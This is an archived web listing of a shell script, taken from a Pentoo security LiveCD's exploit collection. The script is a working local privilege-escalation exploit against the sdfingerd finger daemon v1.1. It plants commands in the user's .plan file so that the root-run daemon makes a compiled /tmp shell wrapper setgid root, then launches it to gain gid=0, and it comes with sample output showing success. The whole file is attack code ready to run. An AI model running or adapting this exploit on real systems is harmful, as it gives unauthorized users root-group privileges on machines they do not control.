home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / xsdfingerd.sh < prev   
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  59 lines

  1. #!/bin/sh
  2. # sdfingerd[v1.1]: local root(gid=0) exploit.
  3. # by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
  4. #
  5. # sdfingerd URL/reference:
  6. #  http://www.schmolze.com/projects/sdfingerd/
  7. #
  8. # sdfingerd(Simple Dynamic Finger) is a finger
  9. # daemon with the main focus of allowing users
  10. # to be able to have dynamic .plan files.  dynamic
  11. # as in allows users to place commands in their
  12. # .plan file.  when a third party command is called,
  13. # the user id privileges get set to that of the user
  14. # being requested.  but, the group id is left as-is.
  15. # since, this program is designed/defaulted to run
  16. # as root via inetd, gid=0(root) is freely available.
  17. #
  18. # ----------------- example usage -----------------
  19. # [v9@localhost v9]$ id
  20. # uid=1001(v9) gid=1001(v9) groups=1001(v9)
  21. # [v9@localhost v9]$ sh xsdfingerd.sh
  22. # * sdfingerd[v1.1]: local root(gid) exploit.
  23. # * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
  24. # * exploit successful.
  25. # -rwx--s--- 1 v9 root 13960 Jun 18 18:38 /tmp/xsh
  26. # sh-2.04$ id
  27. # uid=1001(v9) gid=0(root) groups=1001(v9)
  28. # -------------------------------------------------
  29. echo "* sdfingerd[v1.1]: local root(gid=0) exploit."
  30. echo "* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)"
  31. rm -rf ~/.plan /tmp/xsh.c /tmp/xsh
  32. cat <<_EOF_>/tmp/xsh.c
  33. #include <unistd.h>
  34. #include <sys/types.h>
  35. #include <unistd.h>
  36. int main(){
  37.  setregid(getegid(),getegid());
  38.  execl("/bin/sh","sh",0);
  39.  exit(0);
  40. }
  41. _EOF_
  42. cc /tmp/xsh.c -o /tmp/xsh
  43. cat <<_EOF_>~/.plan
  44. \$!chown \`id -u\`.\`id -g\` /tmp/xsh!$
  45. \$!chmod 2710 /tmp/xsh!$
  46. _EOF_
  47. finger ${USER}@localhost>/dev/null
  48. rm -rf ~/.plan /tmp/xsh.c
  49. if test -g "/tmp/xsh"
  50. then
  51.  echo "* exploit successful."
  52.  ls -l /tmp/xsh
  53.  /tmp/xsh
  54. else
  55.  echo "! exploit failed."
  56.  rm -rf /tmp/xsh
  57. fi
  58.  
  59.